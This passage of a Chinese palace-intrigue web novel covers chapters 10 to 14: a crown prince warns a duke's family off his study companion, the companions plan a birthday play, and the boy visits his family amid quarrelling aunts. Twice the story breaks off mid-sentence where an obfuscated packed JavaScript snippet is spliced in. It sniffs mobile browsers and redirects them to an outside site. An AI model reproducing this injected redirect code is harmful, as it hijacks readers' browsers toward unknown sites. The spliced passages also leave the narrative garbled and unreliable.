“你们在外面候着。” 进入国公府正厅前,顾温对自己身后的众人道。 “是。” 宫人侍卫们齐齐应声,退到两边。 国公府后院。 清平郡主不在,贵女们不再像先前那样围聚在一处,能够容纳最多人数的长桌只稀稀落落地坐着几个人,反倒是那些座位不足十人的小桌,按圈子和关系的不同,坐满了人。 哪家公子中了举,哪家贵女嫁了个破落户,哪位战功赫赫的将军新纳的妾室又死了……各种各样的八卦,悄悄聊这些不方便在台面上说的事情,反而有益于拉近和维系彼此的关系。 只是,提到那位战功赫赫的将军,众人像是触及了什么禁忌,不约而同噤了声。 终于,有人开始谈及今日的主客,深受上恩的郡主娘娘。 “昨日我听见一些传闻说,安小公子是犯了错被太子殿下亲自逐出东宫的,如今看来倒是妄传。” “嘘,此事不可胡说。” “说起来,我家那位也是这么说的……他手下的人亲眼看见安小公子被抬出去,背上受了棍刑。” “皇城司的消息当不会有假。” “太子殿下今日亲自前来祝寿,心里显然是记挂着郡主娘娘的,即便安小公子真受了棍刑,大约也是另有缘由吧。” …… 太后娘娘固然宠爱郡主,终究年事已高,太子殿下才是大衍朝的未来之主。不过今日一看,郡主不愧是郡主,安国公府的荣耀显然还会继续。 “殿下可是有话想说?” 厅内,清平郡主斟酌着询问道。 顾温并未回答,长袖一挥,转身在大堂的主位坐下。 清平郡主还欲开口,安国公往前一步,屈膝跪地道:“小儿有错,昨日臣已狠狠责罚了他,这一切都是我夫妇二人的过失。日后,臣必定会对他严加管教,望太子殿下恕罪。” 清平郡主一怔,犹豫片刻,也跪了下来:“望殿下恕罪。” “郡主,安国公,你们真是言重了。孤若是怪罪,今日又岂会为郡主贺寿?起来吧。” 清平郡主与安国公对视了一眼。 顾温双目微眯:“怎么,需要孤亲自上前搀扶,你们才肯起么?” 二人忙不迭地站了起来。 顾温道:“孤今日前来,除了祝寿,还有几句话。” 安国公拱手道:“请殿下示下。” “昨日之事,该罚的,孤已罚了,此事便揭过去。是孤的人,哪怕犯了错,孤也会护着。不是孤的人,私底下与孤对着干,孤只有四个字:好自为之。” 直到此刻,清平郡主才明白太子今日前来究竟为的什么。 她头颅微垂,一副神色恭敬的模样:“殿下于毅儿来说,既是君,又是表兄,不管训斥还是责罚,都是再正常不过的,请殿下尽管教导他。” 安国公亦拱手保证道:“凡是入了东宫的,便是殿下的人,无论出身如何,旁人都没有资格管教。这个道理, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103271|163822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臣和夫人都明白。” 顾温站起身,走到二人身边。 尽管只有十三岁,比起俯着身体的国公夫妇,他的身形要高大许多。 “东宫的人,孤自然会护着。至于东宫外的隋府,就劳烦郡主和国公照看一二了。若是他们出了闪失,孤免不了要再来国公府走一趟。” “臣一定谨记。” 安国公毕恭毕敬地道。 “孤便不打扰郡主的寿宴了,自便。” “恭送殿下。” 安国公夫妇始终躬着腰,直到顾温离开了大堂,才缓缓直起身体。 他们互相对视了一眼。 安国公疑道:“那个伴读究竟什么来头,竟劳得殿下亲自过来警告我们?” 清平郡主冷冷道:“我早已查过,不过是个六品小官和一个奴婢生下的庶子,上不得台面的东西。这样的低贱之人,此前根本不可能有机会见到殿下,进宫不过区区几日,竟能凭着巧言令色——” “郡主娘娘!娘娘!” 一个丫鬟迈着小而快的步伐从外面奔入:“公子疼得厉害,一定要您过去,否则不许我们给他换药,奴婢们实在是没法子了。” “一群废物!” 清平郡主长裙迤逦,疾步而去。 “毅儿,你不换药,身体怎么能好?快莫要任性了。” 清平郡主凌厉的目光扫向墙边立着的两个侍者:“你们愣着干什么?还不快给公子换药!” “是!” “我不要!我不要!” 安弘毅一把将药推开,边哭边嚷道:“隋明朗将我害成这样,还杀了我的人,我从宫里出来的路上,多少人看着,我再也不想进宫了!他这么欺侮我,娘却只知道在府里办寿宴,不去教训他,也不去教训他的家人。娘变了,娘不爱我了!让我疼死算了!” “你是娘的心头肉,娘岂会不为你出头?毅儿,你放心——” 安国公一进门便听见这样的话,不由板起脸,瞪着正趴在床上的儿子:“就是你娘从小把你娇惯坏了,才让你变得如此不知天高地厚,连在东宫之中都敢放肆!依我看,殿下赏的这顿板子倒是正好!否则日后你不知会惹出怎样的祸事!” “娘!你看爹他!” 安弘毅听到这话恼得更厉害了,他狠狠垂着床板,扭动着身躯撒泼,一不小心却是牵动了伤口,顿时从假哭变得真哭起来。 清平郡主连忙安抚道:“娘会给你做主的。且等等,待这段风头过了,娘必定要他好看!” 安国公提高嗓门道:“夫人!” “你不必如此惊惧。” 清平郡主似是对夫君的怯懦有些不满,哼道:“我自然不会蠢到直接和太子对着干。太子只是不许我们去动他的家人,我暂且不动便是。至于其他的,哼!” 别说毅儿此刻哭求自己,即使没有,一个六品小官之子,蝼蚁般的人物,竟敢将自己的儿子害成这样,若是就这么算了,以后谁还将她这个郡主放在眼里? 安国公拧起眉:“夫人待如何?” 安弘毅也忙不迭地问:“娘,你有主意了吗?是什么?” 清平郡主慈爱地笑道:“毅儿,你乖乖换药,尽快好起来,娘再去跟圣上求个情,想法子让你继续回东宫读书。娘跟你保证,用不了多久,你讨厌的那个人,要么被赶出宫,要么干脆死在宫里。” 安弘毅怀疑地问:“真的?” 虽然不知道为什么,但太子殿下似乎是有在偏袒隋明朗的。 殿下偏袒的人,也能被赶出宫,或是死在宫里吗? 清平郡主假装板起脸:“娘什么时候骗过你?” 安弘毅这才放心地露出笑容。 清平郡主给旁边的丫鬟使了个眼色,后者立刻捧了新的药上前,这回,安弘毅没再反抗,乖乖地让丫鬟给自己换了药。 11. 第 11 章 今日,隋明朗有些心不在焉。 “明朗,你的笔似乎已经悬停好久了,是在想什么精妙的词语吗?” 李承奇一本正经地询问道。 隋明朗微微一怔,随即面色微红,道:“没有没有,就是对先生留的作业没什么灵感……” 李承奇伸头一看,发现隋明朗桌案上的纸张空空如也,竟是一个字都没写。 此时,他的文章已经写完了。 再去瞧坐在前面的方邵元和宁为远,虽未写完,墨迹也都有大半张纸了。 李承奇不禁感到奇怪。 上一次先生留的作业,隋明朗那篇《君子之风》是最好的,先生评得好,自己听了也感觉好。今日没灵感,也不至于一个字都写不出吧? “是不是在担心郡主娘娘?” 方邵元询问道。 隋明朗抬头看他。 这个人,似乎总能猜到别人在想什么。不,大约是自己表现得太明显了……太子殿下说,他今日会去国公府走一趟,此时此刻,殿下是不是正在和清平郡主说话?殿下会如何说呢? 会不会只是跟自己说着玩儿的? 自己当日对太子殿下的那点恩情,太子殿下将自己选为伴读,宣入东宫,已经足够两清了,真的会特意为自己走一趟国公府吗? “你也不用太担心,我感觉殿下挺喜欢你的,说不定就……你等一下,我的人回来了。” 贴身小厮站在学堂外唤自家公子,方邵元快步走去,二人低声说了些话,方邵元摆摆手令对方离开,重又返回几人跟前。 “明朗,我打听来一个消息:殿下今日去了国公府,还和安国公及清平郡主说了些私底下的话。” 隋明朗内心一动。 殿下果真去了安国公府! 宁为远奇怪道:“殿下好端端的去国公府做什么?难道是向清平郡主解释安弘…安公子的事?” 倘若安弘毅是给其他皇子当伴读,犯了错被赶出宫,其他皇子说不准真的得向郡主解释一下。可是太子殿下,没道理吧! 至于帮隋明朗撑腰……这事儿根本不在他的考虑范围内,怎么可能。 李承奇若有所思地看了隋明朗一眼。 方邵元笑道:“具体说了什么,这肯定就打听不出来了,除非你去问太子殿下。” 宁为远没忍住翻了个白眼。 “这话亏你说得出来。” 方邵元没搭理他,又道:“明朗,你若是还担心的话,有个办法。太后的寿宴马上就要到了,若是能准备一份令太后娘娘满意的寿礼,既能讨得她欢心,又能为太子殿下长脸,届时,纵使郡主娘娘嫌恶于你,也会思虑再三的。” 宁为远道:“你少来,太后娘娘常年吃斋念佛,少在宫中走动,想讨她老人家欢心……你做得到吗?” 方邵元扬了扬头:“做不做得到,肯定都要努力试试,横竖她老人家慈悲,一般也不会动怒。” 宁为远摸着下巴道:“你有主意了?” 方邵元道:“送礼的主意嘛,暂时倒没有,但我知道,只需再等上三天,就可以用筹备寿礼的名义回府,就可以去畅饮阁听道逸先生的新作!” 宁为远哭笑不得:“你这家伙!” 隋明朗望着二人拌嘴的样子,嘴角不自觉地扬了扬。 真好。 这就是书中所说的总角之谊啊。 身为庶子,每日小心翼翼地在嫡母手下讨生活,他其实没机会结交什么朋友。唯一勉强算的,大约是舅舅家的表兄,当然,他不确定这种沾着姻亲关系的能不能算作朋友。 两年前,随着舅舅病逝,舅母改嫁,表兄也不知所踪了,如今还在不在人世都是未知数。 “怎么啦?” “明朗,你这什么表情啊?” 方邵元与宁为远同时望过来说道。 “啊没有,我只是……” 隋明朗下意识地想说,我只是在想该为太后娘娘准备什么礼物。 话到嘴边,他又收住了,停顿片刻,认真注视着面前的三人:“我只是从没交过朋友,看见你们现在这样,感觉很好。” 二人皆是一愣。 没交过朋友?这叫什么话? 一个人长这么大岂会没交过朋友? 尤其还是个长得很漂亮、性子很乖巧、很善良很好相处的人。 不远处,李承奇也愣了。 但他很快说道:“明朗,不管你是怎么想的,昨日我那样对你……你却冒着触怒殿下的风险为我求情,从那时候起,在我李承奇的心里,你就是我最好的朋友了!” 李承奇本不是外向之人,能够说出这番话,纯粹是气氛到了的缘故。他说完之后,脸不自觉有些红了。 方邵元也反应过来,故作不高兴道:“明朗,你说这话我可就不爱听了,咱们相处的时间虽然不算长,但也算开心的,何况能一起聚在东宫给殿下当伴读,那就是天大的缘分,结果在你心里,居然连朋友都不算么!?这真是我听过的最冰冷的文字了!” 宁为远补充道:“就是。” “是我不会说话了。” 隋明朗第一次知道又想哭又想笑是在表达什么意思,他想自己现在的样子一定有点狼狈,半垂下头道:“等晚膳的时候,我自罚三杯酒吧!我,能跟你们交朋友,我很开心的。” 说完这些,他抬头看了看面前神态各异的三人,莫名地笑了出来。 其余三人也莫名地跟着哈哈大笑。 本用以自习的学堂里传出了连续不断的、属于少年人的、爽朗的笑声。 四位少年无论先前如何想,此时此刻,他们心中都没有揣摩,没有好奇,没有任何杂念。唯一有的,只是纯粹的意气相投。 “不如,我们一起演出戏,作为呈给太后娘娘的寿礼,如何?” 晚膳时分,自罚了三杯酒之后,隋明朗主动提议道。 李承奇不确定地问:“你说的演戏,是指那种戏台班子吗?” 隋明朗点了点头。 宁为远沉吟道:“若说请戏台班子入宫表演,这是很寻常的事情,自己演……是不是有失身份?” 李承奇道:“我记得,圣祖时期的九王爷酷爱演戏,府中常年养着戏台班子,但他几乎可以说是圣祖最宠爱的儿子。” 方邵元点点头道:“是的,咱们大衍与前朝不同,并不把登台演戏视为卑贱之事。只是,眼下距离太后娘娘的寿宴没有太久,能来得及排好一出戏么?当日宫里说不定也会请戏班子入 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宁为远道:“是的,而且咱们都没演过戏,还存在演砸了的可能。” 两人都不同意。 隋明朗顿时也打消了主意:“是我考虑不周了,那就再想点别的吧。” 李承奇却道:“根据我对老人家的了解——拿我祖母来说,若是有一群小孩子在她面前演戏,哪怕动作笨拙,她也会很开心的。越是年长的人,就越喜欢年轻人围在跟前热闹,我想,太后娘娘应当也不例外。何况,方兄早前不是说,太后她老人家很少会动怒吗?” 停顿片刻,李承奇看向隋明朗道:“明朗,如果他们不想演的话,咱俩一起演如何?再多找几个小太监,或是从外面的戏班子挖些人。” 隋明朗惊讶地望向李承奇。 方邵元道:“喂喂,你们这就要抛开我俩单干了?” 李承奇解释:“主要是,我和明朗手头上比较拮据,不比你们俩富贵,若是不演戏的话,恐怕也拿不出什么能上台面的礼物。” 方邵元叹口气:“罢了罢了,如果你们俩一定要演的话,那算上我吧!” 宁为远可不想落单,忙道:“那我也跟了!” 退一步讲,四位伴读共同筹备的寿礼,圣上纵然不悦,看在太子的份上,也不会罚他们的。 说干就干。 事情敲定之后,四人立刻开始分工合作。 “《秦氏孤儿》的主要人物有五个,合并成四个倒是不难,但养母这个角色难以舍弃,何况它对应的才是太后娘娘……所以,我们当中需要有人女装一下。” 宁为远说道。 听见宁为远的话,众人一时都放下了手头上的活儿。 片刻后,其余三人一齐望向了隋明朗。 “我、我不行的……” 隋明朗磕巴道。 “你的长相是最合适的。” “没错,眉清目秀,唇红齿白的,不用女装,都比大多数的小娘子漂亮。” “明朗,接受吧。” 隋明朗内心里极为抗拒,最终却不得不接受女装这件事。 不为别的,就为登台表演是他提的,这出戏也是他选的。 12. 第 12 章 一个下午,众人根据民间故事完成了剧本设计的工作,每个人也都背好了自己的台词。 至于其他方面的事情,就要等明天了。毕竟,还有先生留下的作业需要完成。 当夜,隋明朗又睡不着了。 这回纯粹是因为心情太好,憧憬未来而想得太多。 在床上足足躺了小半个时辰都没能入睡,隋明朗披上衣服,循着昨夜的路线,旧地重游。 殿下…今晚还会在那里练剑吗? 如果不在,权当散个步。 如果在,自己要好好向殿下道谢。 今夜似乎没有剑声。 果然不在吗?也对,练剑本就是苦差事,日日练剑更会耗费精神,太子殿下身份尊贵,即便有心习武,也不必如此辛苦。 隋明朗仰头看了一会儿天上的月,转身欲回,一道冷冽的男声冷不防在身后出现。 “你怎么又来了?” 声音出现得太过突然,以至于隋明朗没忍住浑身一个激灵。 他循声望去,拱手道:“殿下。” 停顿片刻,隋明朗的声音更加恭敬了几分:“听闻殿下今日去了国公府,臣感激涕零。” 顾温淡淡地道:“打狗还要看主人,你身在东宫,岂能让外面的人欺负了去?若无他事,回去吧。” 隋明朗忙道:“臣还有一事。太后娘娘寿宴将至,臣与方邵元等人想要出宫做些准备。” 他双手抱拳,身体微躬,垂着眸,静等了数秒,没有等到回应。 不禁抬眸,朝对面看了一眼。 太子殿下正瞧着自己,用一种打量的、令人看不懂的目光。 隋明朗不明所以,在黑夜的静默里,他心底逐渐开始发慌,以至于最后说话的声音听上去略略颤着:“殿下恕罪!敢问,臣此言有何不妥吗?” “没什么不妥,只是——” “你为何总一副惊惧的模样?” 隋明朗整个人一怔。 顾温不疾不徐地道:“在宫里讨生活,是得小心谨慎,但若没有勇气,时时提着一颗心过日子,每日害怕有没有惹到哪位贵人不快,会不会被责罚、被处置,那么——注意过宫里那些最末位的宫女和太监们么?这辈子,你都会和他们一样,永无出头之日。” 隋明朗呆愣愣地听着。 顾温又说道:“孤瞧你还算顺眼,年纪又小,没到不可救药的地步,便多说两句。怕,有什么可怕的?即便是孤,孤是亲手杀过好些个人,却没有一个是无缘无故的,更何况,你是孤亲自选为伴读的,在这宫里,父亲仁慈,其他人,谁也不能把你怎么样。” 隋明朗只感觉自己的心脏怦怦跳。 顾温淡淡道:“该说的,不该说的,孤今夜都说了,六年前那天发生的事情,也就此揭过。至于日后你能走多远,就看你自己的本事。” 隋明朗双手握了握拳,暗暗深吸一口气,尽可能不卑不亢地抱拳道:“臣,多谢殿下指点!” 顾温点点头:“男子汉大丈夫,这才像点样子。你刚刚说的事,允了,明日下学后,你们自去找杨秋领出宫的腰牌便是。” 翌日,负责给太子授课的尚承德老先生照常用一上午的时间讲完了《诗经》中的十页纸,又照常地留了作业,宣布今日的课程到此结束。 隋明朗归心似箭,收拾好东西后,见方邵元等人还在磨蹭,便对其他人道:“诸位,我先回府了!” “我和你一起吧!” 李承奇也收拾好了东西,如此说道。 “去吧去吧,明天见!” 宁为远道。 方邵元边收拾墨纸边冲二人提醒道:“记得在戌时前回来,否则就是宫禁了。” “你快着点!他俩都走那么久了,你还没好!你怎么比女人还能磨蹭!?” “马上马上,好了,我们走吧。放心放心,误不了的。” 方邵元和宁为远也作伴出了宫,二人目的很简单,今日为寿礼做准备什么的还是其次,去畅音阁听道逸先生的新作才是最为要紧的。 “你说,隋明朗回个家,就半天的功夫而已,为什么还要背个包?” 路上,宁为远寻找着话题。 方邵元笑道:“这有什么不好猜的,自然是把宫里的赏赐带回家去。” 宁为远惊讶地啊了一声:“宫里的赏赐?殿下什么时候赏赐过吗?” 方邵元道:“我们刚入宫时,除了日常的衣物,圣上不是赏了三十枚金瓜子么?上回明朗的文章拿了甲下,事后先生也赠了一枝貂毫笔,那可是王公贵族们喜欢的,可你瞧他用了么?我想,那支笔若是卖到珍珑斋,应该也能卖个好价钱。而他总不能把金瓜子和笔拿在手里带出去。” 宁为远一脸不可思议:“那些金瓜子是用作宫中开销的,貂毫笔……哪有把先生赠的笔拿出去转卖的道理?我不信!他父亲就算官小了点,好歹是个京官,哪里会到这种地步!” 方邵元笑笑,没再多说什么。 二人直接来到畅音阁。 畅音阁中虽多舞姬,却并非烟花柳巷,而是卖艺不卖身的清雅之地。其间头牌,更是身为男子、擅长作词赋曲的道逸先生。 入口处,负责迎候的酒保刚走上前,方邵元大方地从袖中摸出一锭金子扔过去,对方顿时眉开眼笑,殷勤地领他们往二楼最好的包间去。 “你不是说道逸先生新作的词儿会在今日午时公布么?怎么还不开始?” 一桌菜都要吃完了,宁为远有些不耐烦起来。 “我问问吧。” 方邵元伸手拉了下右面银丝缀着细碎玉石的绳,门后侍立的杂役立刻走了进来,弯着腰道:“两位贵客,有什么吩咐?” “道逸先生的词作,还不开始么?” 方邵元问道。 杂役陪着笑脸道:“贵客怕是记错了,道逸先生的新词虽然作好了,曲却还没完全谱好,雪羽姑娘要明日中午才会出来献艺呢。” 二人均是一愣。 片刻后,宁为远哈哈大笑:“你这么喜欢道逸先生,怎么连这种事情都能记错时间啊!” 方邵元脸色漆黑。 倒不是因为好友的嘲讽,而是在于,今日已经用筹备寿宴的借口出了宫,明日怎么好再出 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隋明朗心里有些懊恼,早知道,该多准备一份礼物的,随即又感到释然——自己身上这点钱财,尚且不能买一份像样的礼物赠给嫡母,何况是郡王侧妃。 “父亲,母亲,殿下恩准半日休憩,我回来了。” 踏入厅中,隋明朗先恭敬问候了父母,再微微偏身,抱拳冲姨母行了一个标准的揖礼,声音温润清朗:“姨母安好。” 抱拳时手臂平展,身姿如松,配上那张年少却不失清俊的脸,显出一种青松负雪的气质来。 隋父隋母还未说话,姜惠薇笑了笑,言语之中有淡淡的嘲讽:“三妹,这就是你家那个入宫当了伴读的孩子啊。别说,他看上去不像是六品官的庶子,倒好似王公贵族养出来的孩子一般。” 闻言,不说别人,便是连姜惠英的脸色都不怎么好看——婚嫁之后,她不仅和父亲闹僵了关系,几个姐妹间的关系也变得极其微妙,尤其是和长姐。 隋父勉强笑笑:“姨姐过誉了。” 他偏头看向自己的小儿子,温声道:“回家怎地不提前递个消息回来?也好派辆马车去宫门口接你。” 隋明朗道:“父亲见谅,在宫里往外递消息不是很方便,况且我腿脚快,走一阵也就到了。” 提到这个,隋父想起什么,道:“都是我这个做父亲的疏忽了。为父也是后面才知道,入宫伴读,是可以从府里带一名小厮入宫的。” 隋明朗笑了笑,道:“父亲,宫里什么都有,宫人们伺候得也很好,带或不带,没什么分别的,您不必放在心上。” 何况,他在府中也没有贴心的小厮。 即使嫡母拨一个随他入宫,他也很难完全信任对方。既如此,不如不要。 姜惠薇嗤笑一声:“这等见识,三妹,你若是想着你家这个庶子混出一番名堂,为隋家争光,怕是没有指望了,倒是该好好去庙里烧香,让他别哪天不小心得罪了贵人,乃至触怒殿下,惹下大祸才好。” 13. 第 13 章 姜惠英拧眉道:“长姐此话何意?” 姜惠薇再次嗤笑:“三妹,不是我说,怎么,人嫁到一个小门小户,眼皮子就也跟着变浅了?带个服侍的人进宫,为的可不是服侍。那些宫人是会伺候人,可要是有什么要紧的事儿,岂能放心他们去办?” 隋父道:“那不如现在——” 姜惠薇眼中的轻蔑之色更显:“想要中途加人,你以为你是谁?” 隋文山讪讪地不说话了。 像他这样出身于清贫之家的读书人,又不擅交际,对于宫中的种种规矩,几乎可以说是一无所知。 “若我没记错,你入宫应该还没多少日子。怎么,殿下准了一日休息,竟立刻回府了?” 姜惠薇摇头道:“像你这样的人,能入宫去当太子伴读,不知道是走了怎样的运气。只可惜,对于不该拥有的人,即使有这样的好运降临在他的身上,他也不可能抓得住,最终只是暴殄天物罢了。” 太子伴读的机遇,别说她只是一个侧妃,即使对寿王妃而言,也是求之不得的——寿王妃的第三个儿子也入了丞相草拟的伴读人选,却没能被圣上选中。 当日她听说隋府庶子入选这样的消息,根本不信,托人去宫里打探了消息,才不得不信。 这样的机会,若是能落在她的昌儿身上,该有多好。 隋父问道:“还有说法?” 姜惠英略作思索:“平日里读书,理所应当。休憩之日继续苦读,方能显出勤奋。再者,在不触犯宫规的情形下多多走动,说不定有机会遇到太子,产生些许情分。” “是这个道理。” 隋父望向自己的小儿子,谆谆教诲起来:“明朗,记得了么?日后再有休憩,就别回来了。府里一切都好,你只管好好在东宫里读书就好。” 隋明朗拱手:“是,父亲。” 姜惠薇见状感到刺眼。 二妹嫁了御史中丞,自是门当户对,夫妻和睦,令人生羡。 至于三妹嫁的这人,没什么官场前途,却有一副好相貌,又几乎对她言听计从,除了因为意外纳了个丫鬟当妾室,府中就没有别的女人了。 反观自己,虽入王府…… 姜惠薇冷笑道:“东宫伴读个个出身不凡,只他例外,你们隋府的一家之主尚且挤不进京中的圈子,竟以为一个六品官的庶子,能挤进东宫伴读的圈子,甚至得到太子殿下的青睐么?” “长姐这话是什么意思?” 姜惠英这下子彻底沉了脸。 若只说了隋明朗这个庶子,她不会在意。但显然,对方连带着,或者说,更多的是在嘲讽自己的夫君。 姜惠英想起,当初,她先去寿王府见长姐,询问宫中事宜,对方却几番推脱,不肯多说。 她只以为长姐在王府里的日子可能并不太好过,难以打听,才去找二姐。 如今看来,她的这个长姐,能不能未必,心中不愿却是一定的。 姜惠薇高傲着一张脸,道:“我可没有别的意思,只是希望你能早日认清现实,不要抱有不切实际的幻想。你当初既选择下嫁,就该知道日后会过怎样的日子。不过,你放心好了,明轩的前途,我这个做长姐的,多少会想法子帮上一帮的。” “用不着!” 姜惠英冷冷道:“长姐说完了么?时候也不早了,隋府庙小,就不留长姐午膳了。” “你这是要赶我走?” “我可不敢有这样的意思,寿——王——侧——妃。听说寿王马上就要迎娶第十三房小妾,长姐又要多一个妹妹了,我这个亲妹妹,该给姐姐备一份礼才是。” “你说这话是什么意思?凭你如今的身份,也敢嘲笑我吗!” “长姐如此威风,我岂敢嘲笑。” …… 隋明朗惊讶地看着嫡母同她的亲姐姐互相讽刺。 言辞之锋利,相比之下,她从前对母亲的那些冷嘲热讽,竟都显得不算什么了。 原地驻足片刻,隋明朗偏头去瞧父亲,父亲显然也同自己一样,没见过这种情景。 “父亲,我能先走了吗?” 隋明朗压低声音道。 时间紧迫,不知道她们还要吵多久,可不能把时间都浪费在这儿,他还想去同母亲多说会儿话呢。 隋父点头,朝侧门指了一下,示意他悄悄离开,不要引起注意。 姜惠薇停下来喝他:“贵客还在说话,你居然要暗自离开?真是个没教养的孩子!” 姜惠英针锋相对地道:“我们六品小官之家养出来的孩子,自然比不上长姐膝下的昌儿有教养,想来寿王爷也一定很喜欢他的这位庶子。” 她的重音落在最后的庶子上。 二人互相嘲讽之声再起。 隋明朗已经停了脚,一时间走也不是,不走也不是。 不过,这回,很快地,她们的争吵被来自于第三方的力量打断了。 “老爷,夫人,方府方邵元,宁府宁为远,说是二公子的好友,前来拜访。” 方邵元?宁为远? 姜惠薇瞬间就反应过来,这是东宫中另外两名伴读的名字。 宁府还好,只与姜府相当,自然比不上她如今的地位。 方府却不一般,方若宏虽然也只是三品官员,手中却握有京城接近一半的兵权,绝对是圣上的心腹。此外,他妻妹还是宫中第二宠妃…… 别说是她,哪怕是寿王本人站在这里,恐怕也会客客气气地对待方若宏的嫡子。 这样的人物,怎会…… “快请快请。” “明朗,你朋友来了,还不快出去迎接?” 这一刻,隋文山与姜惠英格外默契。 到底是书香门第,官宦人家,作为长辈,他们实在不便出门迎接小辈。 然而,尽管他们不像姜惠薇那样对伴读们的身家背景知之详细,却也知,任何一位东宫伴读都是不能小觑的,只能催促自己的儿子代为迎接。 “是,父亲。” “你们怎么来了?不是说要去畅音阁的吗?” 隋明朗笑着快步上前迎接道。 提起这个,方邵元脸上难得露出衰颓的模样。 宁为远忍着笑意道:“某人中午一直催我,结果自己竟然连日子都记错了,没得看啦!” 隋府夫妇与姜惠薇俱已出了大堂,站在阶前遥望着他们走来。 宁为远咦了一声,道:“明朗,你家有客人?咱们好像来得不是时候。” 隋明朗一时不知该怎么说这事儿。 方邵元看了眼远处三人,又看了眼隋明朗,摸着下巴笑道:“或许来得正是时候。” 走至跟前,隋明朗依次介绍了自己的父亲、嫡母,以及身为寿王侧妃的姨母。 “见过伯父伯母。” 二人先主动向隋府的主人问候了揖礼,旋又冲姜惠薇道:“见过侧王妃。” 两位女眷轻轻点头,以示回应。 隋文山看着面前两位礼数周全的贵族子弟,心中涌起一丝受宠若惊之感,忙走上前,微笑着道:“二位贤侄可曾用膳?” 方邵元笑道:“已在畅音阁吃过了。” 隋文山点了点头,又道:“太子殿下难得恩赐休憩半日,两位贤侄没回府吗?怎地来我家了?” “老爷,你这说的是什么话。” 姜惠英上前轻轻拉了一下他的袖子,压低了声音道:“听起来倒好像是不欢迎他们似的。” 隋文山怎么可能会有这种心思,他自知说错了话,立刻开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103274|163822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找补:“我的意思是——” 方邵元笑道:“我们二人与明朗相识虽不算久,却是一见如故,在东宫时,明朗曾邀请我们到他家中游玩,今日原本的行程恰好有变,便想着择日不如撞日,来贵府叨扰。” “不叨扰,不叨扰。” 隋文山欣慰地看了一眼自己的儿子,又朝刚刚狗眼看人低的姨姐瞥去一眼,笑道:“得二位贤侄为友,是犬子的荣幸。都别站着说话了,来,二位贤侄请进。” 隋氏父子领着方邵元与宁为远入厅。 姜惠薇站在原地未动,片刻后,她冷淡地叫住准备跟着进去的亲妹妹:“三妹,王府还有事,我就先回去了。” 姜惠英浅浅一笑:“长姐慢走,府中还有贵客,我就不送了。” 姜惠薇哼了一声,气势汹汹地转身,带着自己贴身侍候的两个丫鬟走出隋府,上了马车,打道回府。 堂内,方邵元道:“早就听明朗说起过,他的父亲乃是探花郎,他的母亲乃是姜府嫡女,今日一见,伯父伯母果真是珠联璧合,伉俪情深,令人生羡。” 隋文山听了这话几乎笑得合不拢嘴。 他平日里面对那些高门贵族,即便得见其笑容,却也能感受到对方言谈举止间的疏远,更别说,他先前才遭受了某种奚落。 姜惠英也是满面春风,再望向隋明朗时,眼睛里不说有温情,至少不再像先前那般冷漠了。 隋文山道:“犬子妄言,令两位贤侄见笑了。” …… 双方寒暄一阵,问询一阵,恭维一阵,至今没有进膳的隋明朗只觉腹中饥肠辘辘,待谈话间隙,他起身打断道:“父亲,母亲,这是我从东宫带回的礼物。” 他从自己的书包之中拿出尚老先生赠的貂毫笔,以及买来的墨玉镯,分别献于父亲与嫡母。 方邵元与宁为远互相对视一眼。 隋文山摩挲着貂毫笔,叹道:“这就是从北域运过来的由貂毫制成的笔么?果真是极佳啊!即使在京中,也唯有王公贵族或是学门大儒才能拥有。这……难不成是殿下赏你的么?” 隋明朗道:“是东宫授课的先生赏我的。” 隋文山点点头:“你的心意,父亲领了,只是,这既是先生赏你的,你当好好保管,在宫中认真读书,不要辜负了先生的期望。至于这镯子……夫人,你便收下吧。” 姜惠英将墨玉镯戴上手腕。 “你这孩子真是孝顺。” 她眼神中难得流露出一分温柔。 当然,这温柔仅持续片刻,想起他究竟是谁的儿子,想起这个庶子越优秀、越孝顺,只会越发从她与明轩那里夺走夫君的关注,些许温柔顿时消失无踪了。 隋明朗问:“父亲可曾用膳?” 隋文山笑道:“已用过了。” 说着,他想起,此前两位贵客说是在畅音阁用的午膳,而非东宫,便问:“明朗可用了?” 隋明朗道:“尚未。孩儿正有些饿了,可否允孩儿去姨娘那里用膳?” 隋父还未开口,姜惠英淡淡道:“你朋友在此,你却要去姨娘那里用膳,岂非照顾不周?” 方邵元道:“伯父伯母,我二人离宫后还未回家,如今也是时候该回府了。” 宁为远接过话道:“是啊。再不回去的话,父亲该责问我了。” 隋父道:“是我夫妇二人考虑不周了。既如此,便不留两位贤侄了。明朗,送送他们,然后便去找你的姨娘吧。” 隋明朗欣然道:“是,父亲。” 走出厅堂,隋明朗道:“今日谢谢你们了。” 方邵元笑道:“朋友之间,何必谈谢。” 宁为远道:“说的正是。不过,我也是真的该回去了,下次有机会,再去拜访你的生母。” 14. 第 14 章 告别了方宁二人,隋明朗快步赶至偏院西厢房。 身旁侍立着一名丫鬟,妇人正安静而专注地坐在桌边,用灵活的双手,低头做着刺绣。 隋明朗唤了一声娘。 妇人的动作微微一滞,随即倏地站了起来,脸上既惊且喜:“明朗!你怎地这么快就回来了?” 隋明朗笑道:“我想娘了,殿下准了半日休憩,便回来了。” 也只有在母亲身边,他才可以肆意放松心神,想说什么就说什么。 隋母一边高兴一边问道:“其他伴读呢?是不是也一样回府了?” “嗯,您放心吧,还有两位伴读来隋府拜访呢,他们陪父亲和大夫人说了会儿话,将将才离开。” 